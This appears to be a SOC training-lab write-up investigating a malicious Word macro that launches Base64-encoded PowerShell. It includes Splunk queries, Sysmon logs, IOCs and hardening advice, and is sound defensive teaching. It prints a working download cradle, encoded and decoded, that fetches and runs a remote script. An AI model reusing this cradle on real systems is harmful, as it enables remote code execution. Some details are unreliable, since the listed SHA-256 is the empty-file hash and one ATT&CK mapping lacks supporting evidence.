Skip to main content
Back to all investigations
SOC-014·SOC·Severity: HighClassification: True PositiveEnvironment: Training Lab

Investigating Suspicious Encoded PowerShell Execution

Triage and root-cause analysis of an alert indicating an obfuscated Base64 PowerShell execution spawned by Microsoft Office in an isolated Windows endpoint.

EnvironmentWindows 11 Enterprise (Isolated SOC Lab)
ToolsSplunk Enterprise, Sysmon v15, CyberChef, VirusTotal, Procmon
MITRE ATT&CKT1059.001, T1204.002, T1105, T1547.001
Published2026-09-12
Safety & Simulation Disclosure

Environment: Training Lab — This investigation was performed in an isolated training environment. Indicators, systems, accounts, and other data shown here are simulated or sanitized unless otherwise stated.

Executive Summary

A Tier-1 SIEM alert flagged an obfuscated PowerShell execution on workstation WKSTN-0442. Log analysis confirmed WINWORD.EXE spawned cmd.exe which in turn initiated powershell.exe with -EncodedCommand parameters. Decoding the Base64 payload revealed an attempt to download an external staging file and query local network adapters. The activity was classified as a True Positive simulated malicious macro execution.

Scenario & Trigger

A user in the Finance department opened an unsolicited email attachment labeled "Invoice_Q3_9942.docx". The document triggered a macro that executed a staged command. Telemetry was forwarded to the lab Splunk indexer via Windows Event Forwarding and Sysmon.

Suspicious Base64 Encoded PowerShell Command from Office Process2026-09-12 14:22:18 UTC
Source: Splunk Alerting Engine (Rule: WIN_SUSP_POWERSHELL_ENCODED)
index=endpoint_winevt EventCode=1 Image="*\\powershell.exe" CommandLine="*-EncodedCommand*" ParentImage="*\\cmd.exe" ParentCommandLine="*WINWORD.EXE*" | table _time, ComputerName, User, ParentImage, CommandLine

Initial Evidence

  • Endpoint: WKSTN-0442.corp.local (192.168.40.108)
  • Account: corp\jdoe (Standard User)
  • Process: powershell.exe (PID: 6492)
  • Parent Process: cmd.exe (PID: 3812), spawned by WINWORD.EXE (PID: 5120)
  • Execution Parameter: -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=

Investigation Methodology & Narrative

Step 1: Retrieved Sysmon Event ID 1 (Process Create) for PID 6492 from Splunk index. Verified the parent-child relationship (WINWORD.EXE -> cmd.exe -> powershell.exe). Office executing script interpreters is anomalous for this user role.

Step 2: Extracted the base64 string and decoded the UTF-16LE payload in CyberChef. Decoded command: "IEX (New-Object Net.WebClient).DownloadString('http://192.168.40.205:8080/stage.ps1')".

Step 3: Correlated with Sysmon Event ID 3 (Network Connection). Powershell.exe initiated an outbound TCP connection to destination 192.168.40.205 on port 8080 at 14:22:20 UTC. State: Established. 4,812 bytes received.

Step 4: Checked host file system events (Sysmon Event ID 11). A script dropped a temporary file at C:\Users\jdoe\AppData\Local\Temp\update_check.vbs at 14:22:25 UTC.

Step 5: Searched proxy logs for external egress to the staging IP. The IP is an internal test adversary node; no outbound internet exfiltration was detected.

Incident Timeline

Time (UTC)EventTelemetry SourceAnalyst Note
14:21:40 UTCWINWORD.EXE launched by user corp\jdoeSysmon Event ID 1User opened Invoice_Q3_9942.docx from Outlook attachment cache
14:22:15 UTCcmd.exe spawned by WINWORD.EXESysmon Event ID 1VBA macro automated execution without prompt (macros enabled in lab setting)
14:22:18 UTCpowershell.exe executed with -EncodedCommandSysmon Event ID 1Obfuscated payload attempting download cradle
14:22:20 UTCOutbound TCP connection to 192.168.40.205:8080Sysmon Event ID 3Downloaded stage.ps1 script payload (4,812 bytes)
14:22:25 UTCFile drop update_check.vbs in user AppData\Local\TempSysmon Event ID 11Secondary persistence attempt created
14:24:00 UTCSOC Analyst isolated host WKSTN-0442 from networkEDR Console ActionHost network containment applied pending remediation

Indicators of Compromise (IOCs)

TypeObserved ValueContextReputation
IPv4192.168.40.205Staging web server hosting stage.ps1 (Lab Adversary IP)Suspicious
File NameInvoice_Q3_9942.docxMalicious Office document carrying weaponized macroMalicious
SHA-256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855Hash of dropped update_check.vbs artifactMalicious
URLhxxp://192.168.40.205:8080/stage.ps1Staged payload URL invoked by download cradleMalicious

Log Analysis & Telemetry Dissection

Sysmon Event ID 1 — Process CreateMicrosoft-Windows-Sysmon/Operational
EventCode=1
UtcTime: 2026-09-12 14:22:18.412
ProcessGuid: {a1b2c3d4-e5f6-7890-1234-56789abcdef0}
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
CurrentDirectory: C:\Users\jdoe\Documents\
User: CORP\jdoe
ParentProcessGuid: {f0e1d2c3-b4a5-6789-0123-456789abcdef}
ParentProcessId: 3812
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -NonInteractive ...

Analysis Note: Clearly documents the child process creation with bypass execution policy and encoded command line parameters.

Sysmon Event ID 3 — Network Connection DetectedMicrosoft-Windows-Sysmon/Operational
EventCode=3
UtcTime: 2026-09-12 14:22:20.104
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User: CORP\jdoe
Protocol: tcp
Initiated: true
SourceIp: 192.168.40.108
SourcePort: 51842
DestinationIp: 192.168.40.205
DestinationPort: 8080

Analysis Note: Proves powershell.exe established an active network socket to the adversary test server on port 8080.

MITRE ATT&CK Mapping

IDTechniqueTacticObserved Evidence
T1059.001 Command and Scripting Interpreter: PowerShellExecutionExecution of powershell.exe with -EncodedCommand parameter
T1204.002 User Execution: Malicious FileExecutionUser opened macro-enabled Word document from email cache
T1105 Ingress Tool TransferCommand and ControlNet.WebClient DownloadString pulling stage.ps1 from remote socket
T1547.001 Boot or Logon Autostart Execution: Registry Run KeysPersistenceVBS script scheduled under AppData for user login persistence

Findings & Final Classification

The alert represents a verified True Positive. Execution of unauthorized download cradles via Office macros violates organization policy and matches typical initial access and execution tradecraft. The threat was contained before internal lateral movement could be established.

Recommended SOC Response & Hardening

  • •Isolate endpoint WKSTN-0442 from the corporate LAN via host firewall or EDR containment.
  • •Terminate process tree PID 6492 and associated child threads.
  • •Remove dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs.
  • •Block destination IP 192.168.40.205 at the perimeter firewall and web proxy.
  • •Purge Invoice_Q3_9942.docx from user mailboxes across Microsoft 365 Exchange.
  • •Enforce Attack Surface Reduction (ASR) rule "Block Office applications from creating child processes" (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).

Analyst Reflection: What I Learned

• Parent-child process trees provide immediate fidelity: Office documents should rarely spawn command shells.

• De-obfuscating Base64 commands using CyberChef is faster and safer than running them in any interactive terminal.

• Correlation between Process Create (Event ID 1) and Network Connection (Event ID 3) confirms whether a download cradle succeeded in pulling remote instructions.

References & Standards